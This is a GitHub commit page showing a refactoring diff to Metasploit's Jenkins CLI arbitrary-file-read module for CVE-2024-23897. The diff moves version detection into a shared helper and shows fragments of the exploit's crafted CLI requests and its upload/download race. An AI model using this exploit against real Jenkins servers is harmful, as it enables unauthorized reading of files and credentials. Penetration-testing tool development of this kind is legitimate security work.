Skip to content

Commit c37984e

Browse files
committed
jenkins cli ampersand exploit review
1 parent bf6d2de commit c37984e

File tree

2 files changed

+29
-27
lines changed

2 files changed

+29
-27
lines changed

lib/msf/core/exploit/remote/http/jenkins.rb

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,29 @@ class Remote
66
module HTTP
77
# This module provides a way of logging into Jenkins
88
module Jenkins
9+
10+
# Returns the Jenkins version.
11+
#
12+
# @return [String] Jenkins version.
13+
# @return [NilClass] No Jenkins version found.
14+
def jenkins_version
15+
uri = normalize_uri(target_uri.path)
16+
res = send_request_cgi({ 'uri' => uri })
17+
18+
unless res
19+
fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')
20+
end
21+
22+
# shortcut for new versions such as 2.426.2 and 2.440
23+
return res.headers['X-Jenkins'] if res.headers['X-Jenkins']
24+
25+
html = res.get_html_document
26+
version_attribute = html.at('body').attributes['data-version']
27+
version = version_attribute ? version_attribute.value : ''
28+
version.scan(/jenkins-([\d.]+)/).flatten.first
29+
end
30+
31+
932
# This method takes a target URI and makes a request to verify if logging in is possible,
1033
# otherwise it will fail gracefully
1134
#

modules/auxiliary/gather/jenkins_cli_ampersand_arbitrary_file_read.rb

Lines changed: 6 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -92,31 +92,10 @@ def initialize(info = {})
9292
)
9393
end
9494

95-
# Returns the Jenkins version. taken from jenkins_cred_recovery.rb, upgraded to work with newer versions
96-
#
97-
# @return [String] Jenkins version.
98-
# @return [NilClass] No Jenkins version found.
99-
def get_jenkins_version
100-
uri = normalize_uri(target_uri.path)
101-
res = send_request_cgi({ 'uri' => uri })
102-
103-
unless res
104-
fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')
105-
end
106-
107-
# shortcut for new versions such as 2.426.2 and 2.440
108-
return res.headers['X-Jenkins'] if res.headers['X-Jenkins']
109-
110-
html = res.get_html_document
111-
version_attribute = html.at('body').attributes['data-version']
112-
version = version_attribute ? version_attribute.value : ''
113-
version.scan(/jenkins-([\d.]+)/).flatten.first
114-
end
115-
11695
def check
117-
version = get_jenkins_version
96+
version = jenkins_version
11897

119-
return Exploit::CheckCode::Safe('Unable to determine Jenkins version number') if version.nil? || version.blank?
98+
return Exploit::CheckCode::Safe('Unable to determine Jenkins version number') if version.blank?
12099

121100
version = Rex::Version.new(version)
122101

@@ -152,7 +131,7 @@ def parameter_one
152131
def data_generator(pad: false)
153132
data = []
154133
data << request_header
155-
data << parameter_one if pad == true
134+
data << parameter_one if pad
156135
data << [datastore['FILE_PATH'].length + 3].pack('C').to_s
157136
data << "\x00\x00"
158137
data << [datastore['FILE_PATH'].length + 1].pack('C').to_s
@@ -167,7 +146,7 @@ def upload_request(uuid, multi_line_file: true)
167146

168147
# In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
169148
# which is required for successful exploitation
170-
Rex::ThreadSafe.sleep(datastore['DELAY'])
149+
sleep(datastore['DELAY'])
171150
res = send_request_cgi(
172151
'uri' => normalize_uri(target_uri.path, 'cli'),
173152
'method' => 'POST',
@@ -277,10 +256,10 @@ def run
277256
print_status('Re-attempting with padding for single line output file')
278257
use_pad = true
279258
threads = []
280-
threads << framework.threads.spawn('CVE-2024-23897', false) do
259+
threads << framework.threads.spawn('CVE-2024-23897-upload', false) do
281260
upload_request(uuid, use_pad)
282261
end
283-
threads << framework.threads.spawn('CVE-2024-23897', false) do
262+
threads << framework.threads.spawn('CVE-2024-23897-download', false) do
284263
download_request(uuid)
285264
end
286265

0 commit comments

Comments
 (0)